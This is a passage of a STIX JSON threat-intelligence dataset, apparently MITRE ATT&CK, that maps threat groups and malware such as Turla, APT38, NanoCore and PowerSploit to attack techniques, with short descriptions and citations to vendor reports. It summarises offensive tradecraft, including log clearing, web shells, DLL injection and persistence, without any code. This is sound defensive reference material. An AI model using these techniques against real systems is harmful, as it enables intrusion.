            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "(Citation: Kaspersky Turla)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.842Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
            "id": "relationship--62c8913c-c193-4feb-ab58-88343838336d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MiniDuke](https://attack.mitre.org/software/S0051) uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.(Citation: Securelist MiniDuke Feb 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist MiniDuke Feb 2013",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2013, February 27). The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor. Retrieved April 5, 2017.",
                    "url": "https://cdn.securelist.com/files/2014/07/themysteryofthepdf0-dayassemblermicrobackdoor.pdf"
                }
            ],
            "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-03-17T01:51:14.536Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--47415cec-25f8-4425-9125-157e1637a687",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses reflective DLL injection to inject the malicious library and execute the RAT.(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-03-16T19:40:54.250Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f3c0c3c1-e7a9-46ae-94cf-e128120a7c5f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can perform webcam viewing.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/quasar/QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-06-24T19:05:41.604Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the account name of the logged-in user and sends it to the C2.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-05-03T16:44:41.817Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f2da9aaa-de4a-4825-b82d-d07ecc34e35c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the username from the victim's machine.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Security Intelligence More Eggs Aug 2019",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-09-16T19:41:10.247Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b741ebf6-1436-4c44-94cd-d3c5b1155a35",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) can obtain information on installed anti-malware programs.(Citation: Talos Cobalt Group July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Cobalt Group July 2018",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"
                }
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-09-16T19:41:10.242Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0d8aa058-426a-45c9-af5b-898746ae5862",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.511Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--af1514c0-0e58-4878-a409-9804a7ce5e0b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) used legitimate programs such as AmmyyAdmin and Team Viewer for remote interactive C2 to target systems.(Citation: Group-IB Anunak)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf",
                    "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.",
                    "source_name": "Group-IB Anunak"
                }
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "type": "relationship",
            "modified": "2019-12-27T15:48:40.321Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--fd518b7a-b35d-4689-89f6-525efbeee18f",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
                }
            ],
            "description": "(Citation: Palo Alto OilRig Oct 2016)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.885Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
            "relationship_type": "uses",
            "target_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
            "external_references": [
                {
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
            "description": "(Citation: CrowdStrike Putter Panda)",
            "type": "relationship",
            "modified": "2019-03-25T16:53:38.860Z",
            "created": "2017-05-31T21:33:27.059Z"
        },
        {
            "id": "relationship--f19234f6-5b59-4229-aae1-70df380a076a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the OS and computer name.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.060Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DLL side-loading.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.651Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) searches for specific directories on the victim\u2019s machine.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--e8906575-d90c-4d56-9fb7-bba3560bbeba",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.216Z",
            "created": "2019-01-29T17:59:44.533Z"
        },
        {
            "id": "relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used tcping.exe, similar to [Ping](https://attack.mitre.org/software/S0097), to probe port status on systems of interest.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.552Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Remcos Aug 2018",
                    "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html",
                    "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) uses RC4 and base64 to obfuscate data, including Registry entries and file paths.(Citation: Talos Remcos Aug 2018)",
            "id": "relationship--71a121ba-b01c-418c-af8d-63df2cec70de",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.099Z",
            "created": "2019-01-29T18:55:20.856Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                },
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can load any files onto the infected machine to execute.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--75f88090-55cb-4b3b-84af-cf51058c3ccc",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.672Z",
            "created": "2019-01-29T19:18:28.775Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings.(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--66b026b6-af1e-47a6-9c3d-b853e2130b68",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-07-26T16:10:43.108Z",
            "created": "2019-01-29T19:55:48.073Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                },
                {
                    "source_name": "Cofense NanoCore Mar 2018",
                    "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/",
                    "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) can open a remote command-line interface and execute commands.(Citation: PaloAlto NanoCore Feb 2016) [NanoCore](https://attack.mitre.org/software/S0336) uses JavaScript files.(Citation: Cofense NanoCore Mar 2018)",
            "id": "relationship--13219288-d8b3-4464-a173-923ed8dfae0a",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:53:26.512Z",
            "created": "2019-01-29T20:05:36.512Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) clears Window Event logs and Sysmon logs from the system.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--69b349cf-c086-497b-8339-514d4a448bfe",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-02-18T03:34:33.475Z",
            "created": "2019-01-29T21:27:25.239Z"
        },
        {
            "id": "relationship--0dee5507-6e61-4244-86a8-c7e8a34469da",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). It is installed as an ISAPI filter on Exchange servers and shares characteristics with the [China Chopper](https://attack.mitre.org/software/S0020) Web shell.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "type": "relationship",
            "modified": "2020-01-09T17:15:14.830Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command <code>net start</code> to interact with services.(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.188Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e5a99bb2-c6d6-4a9c-bf31-4edd1d602c4e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                },
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T16:11:56.244Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bcdbb8dc-87e5-4f29-8ff2-d660e53015cb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of persisting via the Registry Run key or a .lnk file stored in the Startup directory.(Citation: Unit 42 SeaDuke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 SeaDuke 2015",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:32:57.961Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--792c5ad3-87ca-473f-998b-654f29a5b10f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-TimedScreenshot</code> Exfiltration module can take screenshots at regular intervals.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.258Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--59cccc5a-f6f9-4a2f-aa74-2b7235b1855c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT19](https://attack.mitre.org/groups/G0073) used Base64 to obfuscate commands and the payload.(Citation: FireEye APT19)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "source_name": "FireEye APT19"
                }
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-25T11:39:52.245Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to discover and manipulate Windows services.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-17T02:55:01.726Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e89d06bc-31f3-49c0-a555-360eeff7f7c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Net Crawler](https://attack.mitre.org/software/S0056) uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.(Citation: Cylance Cleaver)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
